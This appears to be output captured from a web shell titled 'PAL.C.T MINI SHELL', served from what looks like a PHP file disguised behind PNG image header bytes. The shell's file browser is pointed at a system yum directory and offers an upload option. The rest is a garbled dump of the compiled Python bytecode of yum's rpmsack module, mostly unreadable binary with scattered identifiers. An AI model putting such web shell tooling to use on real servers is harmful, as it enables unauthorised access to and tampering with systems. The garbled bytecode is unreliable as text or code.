php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/lib/python2.6/site-packages/yum/
upload
files >> //usr/lib/python2.6/site-packages/yum/rpmsack.pyo

[c@sddkZddkZddkZddkZddkZddkZddklZddklZddk	l
Z
ddkZddkZddk
lZlZddklZlZddkZddkZddklZlZddkZddkZdefd	YZd
fdYZdefd
YZdefdYZdefdYZdefdYZ defdYZ!dZ"de#fdYZ$de#fdYZ%dZ&e'djoe&ndS(iN(t	miscutils(tarch(tinitReadOnlyTransaction(tYumInstalledPackaget
parsePackages(tPackageSackBasetPackageSackVersion(t
to_unicodet_tRPMInstalledPackagecBs5eZdZdZdZdZdZRS(cCsat|_ti||d|i|d|_|d|_||_||_t	|_|`
dS(Ntyumdbturlt	sourcerpm(tTruet_has_hdrRt__init__R
RRtidxtrpmdbtFalsethdr(tselftrpmhdrtindexR((s//usr/lib/python2.6/site-packages/yum/rpmsack.pyR*s	

			cCsj|io|iS|ii}|id|i}y|iSWntj
oti	dnXdS(NisRpmdb changed underneath us(
RRRt
readOnlyTStdbMatchRtnextt
StopIterationtErrorstPackageSackError(Rttstmi((s//usr/lib/python2.6/site-packages/yum/rpmsack.pyt_get_hdr9s
cCsr|i|_}t|_|ido'|idotd||fn|djo||}n|S(Nt__s%s has no attribute %sR(RRR
Rt
startswithtendswithtAttributeError(Rtvarnametval((s//usr/lib/python2.6/site-packages/yum/rpmsack.pyt__getattr__Es	 
c	Cst}x[|iD]P\}}}x>|ii|||D]$}||jo|i|q;q;WqWxY|i|iD]G}x>|ii|ddD]$}||jo|i|qqWqxWt|S(s4return list of installed pkgs requiring this packageN(NNN(	tsettprovidesRtgetRequirestaddtfilelisttdirlisttNonetlist(Rtpkgsettreqntreqftreqevrtpkgtfn((s//usr/lib/python2.6/site-packages/yum/rpmsack.pytrequiring_packagesSs	


cCsqt}x[|iD]P\}}}x>|ii|||D]$}||jo|i|q;q;WqWt|S(N(R'tstrong_requiresRtgetProvidesR*R.(RR/R0R1R2R3((s//usr/lib/python2.6/site-packages/yum/rpmsack.pytrequired_packagescs	

(t__name__t
__module__RRR&R5R8(((s//usr/lib/python2.6/site-packages/yum/rpmsack.pyR	(s
				tRPMDBProblemcBs eZdZdZdZRS(sJ
    Represents a problem in the rpmdb, from the check_*() functions.
    cKs;||_||_x"|D]}t||||qWdS(N(R3tproblemtsetattr(RR3R<tkwargstkwarg((s//usr/lib/python2.6/site-packages/yum/rpmsack.pyRps
		cCs;|djodSt|i|ipt|i|iS(Ni(R-tcmpR3R<(Rtother((s//usr/lib/python2.6/site-packages/yum/rpmsack.pyt__cmp__vs
(R9R:t__doc__RRB(((s//usr/lib/python2.6/site-packages/yum/rpmsack.pyR;ls	tRPMDBProblemDependencycBseZdZRS(cCsc|idjod|itd|ifSd|itd|iditt|ifS(Ntrequiress%s %s %sshas missing requires ofs%s %s %s: %sshas installed conflictss, (	R<R3Rtmissingtfoundtjointmaptstrt	conflicts(R((s//usr/lib/python2.6/site-packages/yum/rpmsack.pyt__str__}s
(R9R:RL(((s//usr/lib/python2.6/site-packages/yum/rpmsack.pyRD|stRPMDBProblemDuplicatecBseZdZdZRS(cKsti||d|dS(Nt	duplicate(R;R(RR3R>((s//usr/lib/python2.6/site-packages/yum/rpmsack.pyRscCstd|i|ifS(Ns%s is a duplicate with %s(RR3RN(R((s//usr/lib/python2.6/site-packages/yum/rpmsack.pyRLs(R9R:RRL(((s//usr/lib/python2.6/site-packages/yum/rpmsack.pyRMs	tRPMDBProblemObsoletedcBseZdZdZRS(cKsti||d|dS(Nt	obsoleted(R;R(RR3R>((s//usr/lib/python2.6/site-packages/yum/rpmsack.pyRscCstd|i|ifS(Ns%s is obsoleted by %s(RR3t	obsoleter(R((s//usr/lib/python2.6/site-packages/yum/rpmsack.pyRLs(R9R:RRL(((s//usr/lib/python2.6/site-packages/yum/rpmsack.pyROs	tRPMDBProblemProvidescBseZdZdZRS(cKsti||d|dS(NR((R;R(RR3R>((s//usr/lib/python2.6/site-packages/yum/rpmsack.pyRscCstd|i|ifS(Ns%%s provides %s but it cannot be found(RR3tprovide(R((s//usr/lib/python2.6/site-packages/yum/rpmsack.pyRLs(R9R:RRL(((s//usr/lib/python2.6/site-packages/yum/rpmsack.pyRRs	tRPMDBPackageSackcBseZdZheieieifd6eieiei	fd6ei
eieifd6ei
eieifd6ZeZddRdRddZdZeedRZd	Zd
ZdZdZd
ZddZdZddZdZ dZ!dZ"dZ#dZ$dZ%dZ&e'i(Z)dRdRdZ*dRdZ+e,e-dZ.e,dZ/dRdRe-dZ0dZ1d Z2d!Z3d"Z4d#Z5d$Z6d%Z7d&Z8d'Z9d(Z:d)Z;d*Z<d+Z=d,Z>ed-Z?d.Z@d/ZAd0ZBd1ZCe-hd2ZDe,d3ZEe-d4ZFgd5ZGdRdRdRdRdRd6ZHd7ZIdRd8ZJd9ZKd:ZLdRdRdRdRdRd;ZMd<ZNd=ZOd>ZPd?ZQd@ZRdAZSdRdRdRdRdRdBZTdCZUdDZVdEZWe,dFZXdRdSdGZYdHZZdRdTdIZ[dJZ\dKZ]dRdLZ^dMZ_gdNZ`dOZadPZbdQZcRS(Us*
    Represent rpmdb as a packagesack
    RER(RKt	obsoletest/s/var/lib/yumcCs||_h|_h|_t|_h|_t|_t|_t|_	t|_
g|_h|_h|_
t|_|djo|d}n|i|tii|i|ip|d||_n
||_ttdotid}nd}tii|d||_d|_d|_h|_d|_||_t|_d|_ hhd6hd6hd6hd	6|_!tii|id
}tii|d}t"d|d
||_#dS(Ns/rpmdb-indexesRVtexpandMacros%_dbpaths/var/lib/rpmR(RERKRUs/yumdbs/versiontdb_pathtversion_path($troott_idx2pkgt	_name2pkgR't_pkgnames_loadedt_tup2pkgRt_completely_loadedt_pkgname_failst_pkgmatch_failst_provmatch_failst_simple_pkgtup_listt_get_pro_cachet_get_req_cachet_loaded_gpg_keysR-tsetCacheDirtostpathtnormpathR!t_persistdirthasattrtrpmRWt
_rpmdbpatht_have_cached_rpmdbv_datat_cached_conflicts_datat_trans_cache_storeRt
releasevert
auto_closet_cached_rpmdb_mtimet_cachetRPMDBAdditionalDataR
(RRZRrtcachedirt
persistdirtdbpathtaddldb_pathRY((s//usr/lib/python2.6/site-packages/yum/rpmsack.pyRsN									

								
cCs|ip6|idt}|dj	o|i|_q@n|ip:x7|iD]%\}}|ii|i|qWWn|iS(sTGetter for the pkglist property. 
        Returns a list of package tuples.
        t
load_packagesN(RctpreloadPackageChecksumsRR-tkeyst
_get_packagestappendt
_hdr2pkgTuple(RtcsumpkgtupsRR((s//usr/lib/python2.6/site-packages/yum/rpmsack.pyt_get_pkglists



!cCsh|_h|_t|_h|_t|_t|_t|_t|_	g|_
h|_h|_t
dj	ot
inhhd6hd6hd6hd6|_d|_d|_|id|_dS(s Drop all cached data, this is a big perf. hit if we need to load
            the data back in again. Also note that if we ever call this while
            a transaction is ongoing we'll have multiple copies of packages
            which is _bad_. R(RERKRUN(R[R\R'R]R^RR_RaR`RbRcRdRetmiscR-tunshare_dataRuRoRpttransactionResetRt(R((s//usr/lib/python2.6/site-packages/yum/rpmsack.pytdropCachedDatas,							

		
c	Cst|_t|_t|_g|_h|_h|_tdj	oti
nhhd6hd6hd6hd6|_d|_d|_
|i|id}tii||_d}g}x|D]}|ii|i||i|i|itijoh|ii|i|i||io:|i|i}||i |i!||i|iqwn|iti"jo-||i |i#i!||i|iqqWx|D]}|i\}}}	}
}|i$||	|
||}|p|i%d|qn|d}|i#i&}
|
djoqnt'|
dt'|
d	}}d
|i(i)jpd|i(i)joqn||i(i)d
<||i(i)d<qWdS(
s Drop cached data that is assocciated with the given transaction,
            this tries to keep as much data as possible and even does a
            "preload" on the checksums. This should be called once, when a
            transaction is complete. R(RERKRUs	/PackagescSs||jo||=ndS(sZ Make sure we never traceback here, because it screws our yumdb
                if we do. N((txty((s//usr/lib/python2.6/site-packages/yum/rpmsack.pyt	_safe_del;s
sdCDPT(pkg checksums): %siit
checksum_typet
checksum_dataN(*RR_R'RaRbRcRdReRR-RRuRoRpRRnRhRitgetmtimeRtR]tdiscardtnameR\toutput_statet	constantstTS_INSTALL_STATESR`Rt	reinstallR^tpkgtupR[RtTS_REMOVE_STATEStpotsearchNevrat_deal_with_bad_rpmdbcachetreturnIdSumRJt
yumdb_infot_read_cached_data(Rttxmbrst
rpmdbfnameRtprecachettxmbrtipotntatetvtrR3tcsumtTtD((s//usr/lib/python2.6/site-packages/yum/rpmsack.pytdropCachedDataPostTransactionsh					

		

	

	

!cCstii|i|ip|id||_nd||_t|do,tii|id}||ii_	ndS(s Sets the internal cachedir value for the rpmdb, to be the
            "rpmdb-indexes" directory in the persisent yum storage. RVR
s/versionN(
RhRiRjR!RZt	_cachedirRlR
tconfRY(RRwRY((s//usr/lib/python2.6/site-packages/yum/rpmsack.pyRgos
cCsP|iptd|i|_n|iiptd|i|_n|iS(NRZ(RRRZtopen(R((s//usr/lib/python2.6/site-packages/yum/rpmsack.pyR{s


cCsdS(N((R((s//usr/lib/python2.6/site-packages/yum/rpmsack.pytbuildIndexessterrorcCsdS(N((Rtfailure((s//usr/lib/python2.6/site-packages/yum/rpmsack.pyt
_checkIndexesscCsdS(N((Rtobj((s//usr/lib/python2.6/site-packages/yum/rpmsack.pyt
delPackagestlikec
Cs|i}h}|idd}|i}|i|ti|xQ|D]I}|ddjoqLn|i||i}|i|i	|qLW~|i
|}	x!|	D]}|i|i	|qW|io|ii
n|iS(NR(iRs
gpg-pubkey(Rt	DEP_TABLERtpatternRmtRPMMIRE_GLOBt_makePackageObjecttinstancet
setdefaulttpkgidtsearchFilesRsRtclosetvalues(
RRt
query_typeRtresultttagRRR3tfileresults((s//usr/lib/python2.6/site-packages/yum/rpmsack.pyt	searchAlls&
cCs|i}h}tii|}|id|}xQ|D]I}|ddjoq=n|i||i}|i|i|q=W~|i	}|i
o|iin|S(s;search the filelists in the rpms for anything matching namet	basenamesRs
gpg-pubkey(
RRhRiRjRRRRRRRsRR(RRRRRRR3((s//usr/lib/python2.6/site-packages/yum/rpmsack.pyRs
cCs|i|i|}|dj	o|Sti|\}}\}}}t}	ti|o
t}	n|i}
h}|i	|d}|
i
|ti|}x|D]}
|
ddjoqn|i|
|i
}|	p:|i||||||ffo|||i<q2q|||i<qW~|djoB|ddjo1|i|}x|D]}|||i<qmWn|i}||i||<|io|iin|S(NiRs
gpg-pubkeyR(RV(RutgetR-Rtstring_to_prco_tupleRtre_globR
RRRtto_utf8RRt	checkPrcoRRRRsRR(RRtprcotypeRRtfRRRtglobRRRRRRR3((s//usr/lib/python2.6/site-packages/yum/rpmsack.pyt
searchPrcos>
!
%
cCsF||ijogS|i|d}|p|ii|n|S(NR((RbRR*(RRtret((s//usr/lib/python2.6/site-packages/yum/rpmsack.pytsearchProvidesscCs|i|dS(NRE(R(RR((s//usr/lib/python2.6/site-packages/yum/rpmsack.pytsearchRequiresscCs|i|dS(NRU(R(RR((s//usr/lib/python2.6/site-packages/yum/rpmsack.pytsearchObsoletesscCs|i|dS(NRK(R(RR((s//usr/lib/python2.6/site-packages/yum/rpmsack.pytsearchConflictsscCs|iS(N(tpkglist(R((s//usr/lib/python2.6/site-packages/yum/rpmsack.pyt
simplePkgListscCsv|pdS|\}}|id|d|}|ptid|ng}ti|D]}||iq_~S(NRRsNo Package Matching %s(t_searchRRRtnewestInListR(RtnaTuptpatternsRRtallpkgt_[1]R((s//usr/lib/python2.6/site-packages/yum/rpmsack.pytreturnNewestByNameArchscCsF|pdS|id|}|ptid|nti|S(NRsNo Package Matching %s(RRRRR(RRtallpkgs((s//usr/lib/python2.6/site-packages/yum/rpmsack.pytreturnNewestByNamescCs|pt|tijodSg}x|D]}|pq0n|d}|djo
d}n|oL|dj	o|i}n|i|titi	|ti
fq0|i|titi	|fq0W|S(Nit?t*t[(RRR(tlenRtPATTERNS_MAXR-tlowerRtretcompiletfnmatcht	translatetI(Rtignore_caseRtpattqpat((s//usr/lib/python2.6/site-packages/yum/rpmsack.pyt_compile_patternss 



/)cCsl|djotSxS|D]K\}}|d}|djo
d}n
t|}|dd}|o|i}n|dj	o%||jo||djoqn|i|dotS|id|otS|id|otS|id|otS|id|otS|i|d	|otS|id
|d|otSqWtS(
s< This is basically parsePackages() but for rpm hdr objects. tepocht0Ris)%(name)s-%(version)s-%(release)s.%(arch)ss%(name)s.%(arch)ss%(name)s-%(version)ss %(name)s-%(version)s-%(release)ss*:%(name)s-%(version)s-%(release)s.%(arch)ss	%(name)s-s!:%(version)s-%(release)s.%(arch)sN(R-R
RJRtmatchR(t
repatternsRRRtrepatRtqname((s//usr/lib/python2.6/site-packages/yum/rpmsack.pyt_match_repattern,s<



+	cCsg|ioQ|oJg}xA|D]1}|i|g}|pPn|i|qW|Sng}|o|o|g}x]|D]U}||ijoq~n||ijo|i|i|q~n|i|q~W|}|p|Sn|ipl|i||}xD|iD]6\}	}
|i	||	|o|i
|	|
qqW|dj|_n|ii
}|io9g}|D]!}
|
idjo||
qq~}n|ot|||}|ii|d|o|d|d|}n|d|d}xJ|D]>}
x5|D]-}|
i|jo|ii|
iq*q*WqWn|S(sReturns a list of packages. Note that the packages are
           always filtered to those matching the patterns/case. repoid is
           ignored, and is just here for compatibility with non-rpmdb sacks. s
gpg-pubkeyiiiN(R_tsearchNamestextendRaR]R\RRR~RRR-R[RRfRRtupdateR*(RtrepoidRRRRtpkgsttpatstrpatsRRt
pkgobjlistRR3((s//usr/lib/python2.6/site-packages/yum/rpmsack.pytreturnPackagesOs\		


9#cCs|idjoh}|i}|id}x|D]}|ddjoq8n|tipq8n|i||i}|||i<|i	oq8n||_
t|_	|it
|_	|`
q8W|i|_|io|iiqn|iS(s Load the packages which have conflicts from the rpmdb, newer
            versions of rpm have an index here so this is as fast as
            cached (we test rpm version at cache write time). tconflictnameRs
gpg-pubkeyN(RpR-RRRmtRPMTAG_CONFLICTNAMERRRRRR
RKRRRsRR(RRRRRR((s//usr/lib/python2.6/site-packages/yum/rpmsack.pyt _uncached_returnConflictPackagess.

			

cCsti|itipdS|id}t|dd}|id||idt|x9t|D]+}x"|iD]}|id|qWqsW|i	ti
|d|dS(Ns
/conflictss.tmptws%s
s%u
(RhtaccessRtW_OKRtwriteRtsortedRRtrename(RRtrpmdbvtconflicts_fnametfoR3tvar((s//usr/lib/python2.6/site-packages/yum/rpmsack.pyt_write_conflicts_news



cCs*|idtd}|i||dS(Nt	main_onlyi(t
simpleVersionR
R(RRR((s//usr/lib/python2.6/site-packages/yum/rpmsack.pyt_write_conflictsscCsTti|idti|idti|idti|iddS(s This shouldn't be called, but people are hitting weird stuff so
            we want to deal with it so it doesn't stay broken "forever". s/versions
/conflictss/file-requiress/pkgtups-checksumsN(Rtunlink_fR(Rtcaller((s//usr/lib/python2.6/site-packages/yum/rpmsack.pyRs
c	
Csg|ipdSd}|id}tii|pdSt|}|i}|idt	d}|p||d jodSg}yt
||}xs|djoe|d8}||||||||||f}t
|d|i|i|qW|idjodSWn!t
j
o|id	dSX||_|iS(
NcSs|id S(Ni(treadline(R((s//usr/lib/python2.6/site-packages/yum/rpmsack.pyt	_read_strss
/conflictsR	iiiitRK(t__cache_rpmdb__R-RRhRitexistsRRR
R
tintRtsearchPkgTuplet
ValueErrorRRp(	RRtconflict_fnameRtfrpmdbvRRtpkgtups_numR((s//usr/lib/python2.6/site-packages/yum/rpmsack.pyt_read_conflictss8
	


!	
	cCs|io||id<ndS(NRK(RRq(RR((s//usr/lib/python2.6/site-packages/yum/rpmsack.pyt transactionCacheConflictPackagess
cCsH|i}|djo+|i}|io|i|qDn|S(s0 Return a list of packages that have conflicts. N(RR-RRR(RR((s//usr/lib/python2.6/site-packages/yum/rpmsack.pytreturnConflictPackagess

cCs|iph|_dSd|ijo!|id}|i||nd|ijo!|id}|i||nd|ijo!|id}|i||nh|_dS(s We are going to do a transaction, and the parameter will be the
            rpmdb version when we finish. The idea being we can update all
            our rpmdb caches for that rpmdb version. NRKs
file-requiresspkgtups-checksums(RRqRt_write_file_requirest_write_package_checksums(RRRtdata((s//usr/lib/python2.6/site-packages/yum/rpmsack.pyttransactionResultVersions
	


cCs
h|_dS(s We are going to reset the transaction, because the data we've added
            already might now be invalid (Eg. skip-broken, or splitting a
            transaction). N(Rq(R((s//usr/lib/python2.6/site-packages/yum/rpmsack.pyRscCsa|i}|idd}g}x6|D].}t|_|i|i||iq+W|S(s/ Return packages of the gpg-pubkeys ... hacky. Rs
gpg-pubkey(RRR
RfRRR(RRRRR((s//usr/lib/python2.6/site-packages/yum/rpmsack.pytreturnGPGPubkeyPackages&s	#c
Csad}tii|idpd
S|idtd}t|id}|i}|p||d jodSh}h}yt	||}x|djo|d8}||||||||||f}t	|dt	||}	xA|	djo3|	d8}	||}
|i
|gi|
qWqWt	||}	x|	djo|	d8}	||}
t	||}xv|djoh|d8}||||||||||f}t	|d|i
|
gi|qWqgW|idjodSWn!tj
o|i
d	d
SX||fS(NcSs|id S(Ni(R(R((s//usr/lib/python2.6/site-packages/yum/rpmsack.pyR1ss/file-requiresR	iiiiRs
file requires(NN(NN(NN(NN(RhRiRRR-R
R
RRRRRRR(RRRRRtiFRtiFPRRt	files_numtfname((s//usr/lib/python2.6/site-packages/yum/rpmsack.pyt_read_file_requires0sV	

!

#



!#	
c
Cs|io4|i\}}|dj	o|t|fSnh}t}t}x|iD]}x|iD]\}}}	|idpqsn|i|igi	|||jo>|i
|||	}
|i||
p|i|qqsqsWqcWt}x!|iD]}|i
|qWh}
xE|D]=}g}|i
|D]}||iq\~}||
|<qBW|||
f}|io*|idtd}|i||n|S(s Get a cached copy of the fileRequiresData for
            depsolving/checkFileRequires, note the giant comment in that
            function about how we don't keep this perfect for the providers of
            the requires. RVR	iN(RR%R-R'RRER!RRRR7R*t
itervaluesRR
R
R(RR!R"tinstalledFileRequirestinstalledUnresolvedFileRequirestresolvedR3RtflagtevrtdeptfileRequirestfnamestinstalledFileProvidersR$RtpkgtupsRR((s//usr/lib/python2.6/site-packages/yum/rpmsack.pytfileRequiresDataksD

		



	
-	
cCsB|ipdS|p|odS|||f}||id<dS(Ns
file-requires(RRq(RR'R(tinstalledFileProvidestproblemsR((s//usr/lib/python2.6/site-packages/yum/rpmsack.pyttransactionCacheFileRequiress
	cCsti|itipdS|\}}}|odSt|idd}|id||idt|xt|D]w}x|D]}|id|qWt||}	|idt|	x%t|	D]}
|id|
qWqW|idt|xt|D]w}
|id|
t||
}|idt|x6t|D](}x|D]}|id|q{WqnWq#W|i	ti
|id|iddS(Ns/file-requires.tmpRs%s
s%u
s/file-requires(RhRRRRRRRR'RR(RtrpmdbversionRR'R(R2RRRt	filenamesR$R0((s//usr/lib/python2.6/site-packages/yum/rpmsack.pyRs@




cCs|ipdStii|idpdSd}|idtd}t|id}|i}|p||d jodSh}yt	||}x|djo|d8}||||||||||f}t	|d||}	||}
|	d	jod||<q|	|
f||<qW|id
jodSWn!tj
o|iddSX|p|Sx|D]}||djoqn|\}}}
}}|i
||
|||}|p'|id||
|||fqn|d}||\}	}
d
|iijpd|iijoqn|	|iid
<|
|iid<qWdS(sI As simpleVersion() et. al. requires it, we "cache" this yumdb data
            as part of our rpmdb cache. We cache it with rpmdb data, even
            though someone _could_ use yumdb to alter it without changing the
            rpmdb ... don't do that.
            NOTE: This is also used as a cache of pkgtups in the rpmdb. Ns/pkgtups-checksumscSs|id S(Ni(R(R((s//usr/lib/python2.6/site-packages/yum/rpmsack.pyRsR	iiiit-Rs
pkg checksumsspkg checksums: %s-%s:%s-%s.%sRR(RRhRiRRR
R
RRRR-RRRRR(RR{RRRRRRRRRRRRRRR3((s//usr/lib/python2.6/site-packages/yum/rpmsack.pyR|s`
	

!
	
	
cCs |ipdS||id<dS(Nspkgtups-checksums(RRq(Rtpkg_checksum_tups((s//usr/lib/python2.6/site-packages/yum/rpmsack.pyt transactionCachePackageChecksumss
cCsti|itipdS|}t|idd}|id||idt|xut|D]g\}}x|D]}|id|qW|djo
d}nx|D]}|id|qWqoW|i	ti
|id|iddS(Ns/pkgtups-checksums.tmpRs%s
s%u
R7s/pkgtups-checksums(R7R7(RhRRRRRRRR-RR(RR5RR8RRtTDR((s//usr/lib/python2.6/site-packages/yum/rpmsack.pyRs&



cCs|idj	o|iS|ipdS|id}|id}tii|oktii|oXtii|}tii|}||jo#t	|i
d }||_qn|iS(s. Return the cached string of the main rpmdbv. s/versions	/PackagesiN(RoR-RRRnRhRiRRRR(RtrpmdbvfnameRtnmtimetomtimeR((s//usr/lib/python2.6/site-packages/yum/rpmsack.pyt_get_cached_simpleVersion_main%s


&
cCsIt||_|ipdS|idjodS|id}tii|pdStii	|}|i|jodS|i
d}ti|i
tipRtii|i
odSyti
|i
Wqttfj
o
}dSXnt|dd}|i|i|id|iti|d|dS(Ns	/Packagess/versions.tmpRs
(RJRoRRtR-RnRhRiRRRRRtmakedirstIOErrortOSErrorRRRR(RRRRtR;RR((s//usr/lib/python2.6/site-packages/yum/rpmsack.pyt_put_cached_simpleVersion_main<s0





c
Cs&d}|o0|o(|i}|dj	o|hgSnt}h}h}h}xt|iD]q}	|	i}
d}d|
jo#d|
jo|
i|
if}n|i|	|xb|D]Z}|	i	||jo@||jot||<h||<n||i|	|qqW|oqnnd}
d}d|	ijo4d|	ii
}
d|	ijo|	ii}qn|||
||	|x@|D]8}|	i	||jo||||
||	|qqWqnW|idjo|i
|n|o||||gS||gS(	s5 Return a simple version for all installed packages. cSsq|i|h}|idt}|i|||dj	o)|i|t}|i||ndS(N(RR-RR(tireposRtrevR3Rtirevstrpsv((s//usr/lib/python2.6/site-packages/yum/rpmsack.pyt_up_revsas
RRt	installedt	from_repot@tfrom_repo_revisionN(R>R-RRRRRRRRRIRKRoRB(RR	tgroupsRGRtmainRCt	main_grpstirepos_grpsR3tydbiRtgroupRRD((s//usr/lib/python2.6/site-packages/yum/rpmsack.pyR
_sR	
		

&cCsnd}xa|D]Y}xP|D]H}t||}|o+|ii|djo|d7}PqqWq
W|S(Niii(RRtfind(tfieldst
searchstringsRtcounttstfieldtvalue((s//usr/lib/python2.6/site-packages/yum/rpmsack.pyt_find_search_fieldss#

cCs|ptd|}ng}x_|iD]Q\}}|i|||}|djo#|i|i|||fq0q0W|S(NcSs
|iS((R(R((s//usr/lib/python2.6/site-packages/yum/rpmsack.pyt<lambda>si(RIR~RYRR(RRSRTtloweredRRRR((s//usr/lib/python2.6/site-packages/yum/rpmsack.pyt"searchPrimaryFieldsMultipleStringss

'cCs4g}x'|D]}|i|id|q
W|S(NR(RR(Rtnamest
returnListR((s//usr/lib/python2.6/site-packages/yum/rpmsack.pyRs
cCs|i|||||S(N(R(RRRtvertrelR((s//usr/lib/python2.6/site-packages/yum/rpmsack.pyRscCsdS(N((Rtarchlist((s//usr/lib/python2.6/site-packages/yum/rpmsack.pytexcludeArchsscCsI|i}g}|idtD]\}}||i||q#~S(Ntheaders(RtreturnLeafNodesR
R(RRRRthR((s//usr/lib/python2.6/site-packages/yum/rpmsack.pyRdscosw|i}|i||}x4|D],}|ddjo||ifVq%q%W~|io|iindS(sLdbMatch() wrapper generator that yields (header, index) for matches
        Rs
gpg-pubkeyN(RRRRsRR(RtargstkwdsRRRe((s//usr/lib/python2.6/site-packages/yum/rpmsack.pyR~s
ccstidtidd|i}y|id|}Wn)ttfj
o}d|GHdVnX|i	}|V~~|i
o|iindS(s3returns a package header having been given an indexs>_header_from_index() will go away in a future version of Yum.
t
stackleveliis0No index matching %s found in rpmdb, this is badN(
twarningstwarnRtYumFutureDeprecationWarningRRt	TypeErrorRR-RRsRR(RRRRRR((s//usr/lib/python2.6/site-packages/yum/rpmsack.pyt_header_from_indexs		

cCs|dj	o||ijogS|||||f}||ijo|i|gSt}g}|ip||ijo|dj	o4|ii|g}	|	p|ii|qn
|i	}	x\|	D]T}
xKdD]6}||dj	o||t
|
|joPqqW|i|
qW|S|i}|dj	o|i
d|}
n9|dj	o|i
d|}
n|i
}
t|_t}x|
D]}|ddjoqn|i||
i}
|ii|
it}xKd	D]6}||dj	o||t
|
|joPqqW|i|
qW|io|iin|o!|dj	o|ii|n|S(
s4List of matching packages, to zero or more of NEVRA.RR`R_RRs
gpg-pubkeyN(sarchsrelsversepoch(sarchsrelsversepoch(R-R`R^tlocalsR_R]R\RR*t
returnPkgstgetattrRRRR
RRRRRsRR(RRRR_R`RRtlocRRRRRRtdoneR((s//usr/lib/python2.6/site-packages/yum/rpmsack.pyRs\	
+	

	+	
cCs||ijo|i|St|||}||i|<|ii|igi|||i|i<|io6|i	djo&|id}ti
i||_	n|S(Ns	/Packages(R[R	R\RRRR^RRRtR-RnRhRiR(RRRRR((s//usr/lib/python2.6/site-packages/yum/rpmsack.pyRs

cCsti|d}ti|d}tit|d}tit|d}|d}|djo
d}n
t|}ti|}ti|||||fS(NRRtversiontreleaseRR(Rt
share_dataRJR-(RRRRR_R`R((s//usr/lib/python2.6/site-packages/yum/rpmsack.pyR)s


cCstidtdd|iS(NscgetPkgList() will go away in a future version of Yum.
Please access this via the pkglist attribute.Rhi(RiRjtDeprecationWarningR(R((s//usr/lib/python2.6/site-packages/yum/rpmsack.pyt
getPkgList8s	
cCsAtidtddg}|iD]\}}||q'~S(Ns6getHdrList() will go away in a future version of Yum.
Rhi(RiRjRvR~(RRRR((s//usr/lib/python2.6/site-packages/yum/rpmsack.pyt
getHdrList?s	
cCs_tidtddg}x3|iD](\}}}}}|i||fq&Wti|S(Ns>getNameArchPkgList() will go away in a future version of Yum.
Rhi(RiRjRvRRRtunique(RtlstRRRR_R`((s//usr/lib/python2.6/site-packages/yum/rpmsack.pytgetNameArchPkgListDs	

cCsYtidtddg}x-|iD]"\}}}}}|i|q&Wti|S(Ns:getNamePkgList() will go away in a future version of Yum.
Rhi(RiRjRvRRRRy(RRzRRRR_R`((s//usr/lib/python2.6/site-packages/yum/rpmsack.pytgetNamePkgListNs	

cCs\tidtddg}|id|d|d|d|d|D]}||iqE~S(	Ns@returnTuplebyKeyword() will go away in a future version of Yum.
RhiRRRR_R`(RiRjRvRR(RRRRR_R`RR((s//usr/lib/python2.6/site-packages/yum/rpmsack.pytreturnTupleByKeywordXs	
c	Cstidtdd|\}}}}}|id|d|d|d|d|}t|d	jo|d	}|igSgSdS(
Ns?returnHeaderByTuple() will go away in a future version of Yum.
RhiRRRR_R`i(RiRjRvRRR(	RtpkgtupleRRRRRRztitem((s//usr/lib/python2.6/site-packages/yum/rpmsack.pytreturnHeaderByTuple]s	
*
c	Csytidtdd|\}}}}}|d	jo
d}ng}|i|||||D]}||iqb~S(
s?returns a list of header indexes based on the pkgtuple provideds>returnIndexbyTuple() will go away in a future version of Yum.
Rhiis(none)RRN(Nis(none)R(RiRjRvR-RR(	RR~RRRRsRtRR((s//usr/lib/python2.6/site-packages/yum/rpmsack.pytreturnIndexByTupleks	


cCs
tdS(N(tNotImplementedError(RR((s//usr/lib/python2.6/site-packages/yum/rpmsack.pytaddDByscCs|djo
d}nt|tijoti|\}}}nAt|titifjo|\}}}nd}}}|ti	|ti	|ti	|ti	|ff}ti	|S(s2 Given random stuff, generate a usable dep tuple. iN(
R-ttypettypest
StringTypeRtstringToVersiont	TupleTypetListTypeRRu(RtflagsRstr_etr_vtr_rtdeptup((s//usr/lib/python2.6/site-packages/yum/rpmsack.pyt
_genDeptup}s

c
Csti|}|i|||}||ijo|i|S|dd}|i|}h}xp|D]h}|ddjo*|djo|ddfg||<qjn|id|}	|	o|	||<qjqjW||i|<|S(ssearches the rpmdb for what provides the arguments
           returns a list of pkg objects of providing packages, possibly emptyiiiRVR(N(NNN(RRuRRdRR-t
matchingPrcos(
RRRRsRRRRRthits((s//usr/lib/python2.6/site-packages/yum/rpmsack.pyR7s"
cCs1g}|i|||D]}||iq~S(N(R7R(RRRRsRR((s//usr/lib/python2.6/site-packages/yum/rpmsack.pytwhatProvidessc
Csti|}|i|||}||ijo|i|S|dd}|i|}h}xp|D]h}|ddjo*|djo|ddfg||<qjn|id|}	|	o|	||<qjqjW||i|<|S(ssearches the rpmdb for what provides the arguments
           returns a list of pkgtuples of providing packages, possibly emptyiiiRVREN(NNN(RRuRReRR-R(
RRRRsRRRRRR((s//usr/lib/python2.6/site-packages/yum/rpmsack.pyR)s"
cCs1g}|i|||D]}||iq~S(N(R)R(RRRRsRR((s//usr/lib/python2.6/site-packages/yum/rpmsack.pytwhatRequiresscCskh}xRtiD]D}x;ti|D]*}x!|i|D]}d||<q?Wq)WqWt|iS(sqreturns a list of yum installed package objects which own a file
           that are currently running or in use.i(Rtreturn_running_pidstget_open_filesRRR}(RRtpidR4R3((s//usr/lib/python2.6/site-packages/yum/rpmsack.pytreturn_running_packagess
cCs|djo|i}nt}g}xt|D]}x|iD]}|didoqIn||joqIn|\}}}|i|||o|i|qInti	i
i||}ti
|||}	t|dd|	}
|i|
qIWx|iD]}|didoqn|\}}}|i|||}|pqnti	i
i||}ti
|||}
t|dd|
d|}
|i|
qWq9W|S(s& Checks for any missing dependencies. itrpmlibRERFRKRGN(R-RR'RR6R!R7R*tyumtdepsolveRRRt
formatRequireRDRRK(RRt	providersR3R3trreqtreqRR_RFtprobtcreqtresRG((s//usr/lib/python2.6/site-packages/yum/rpmsack.pytcheck_dependenciessD
	




	ccsd}x|t|iD]h}|i|joqn|it|ioqn|djo
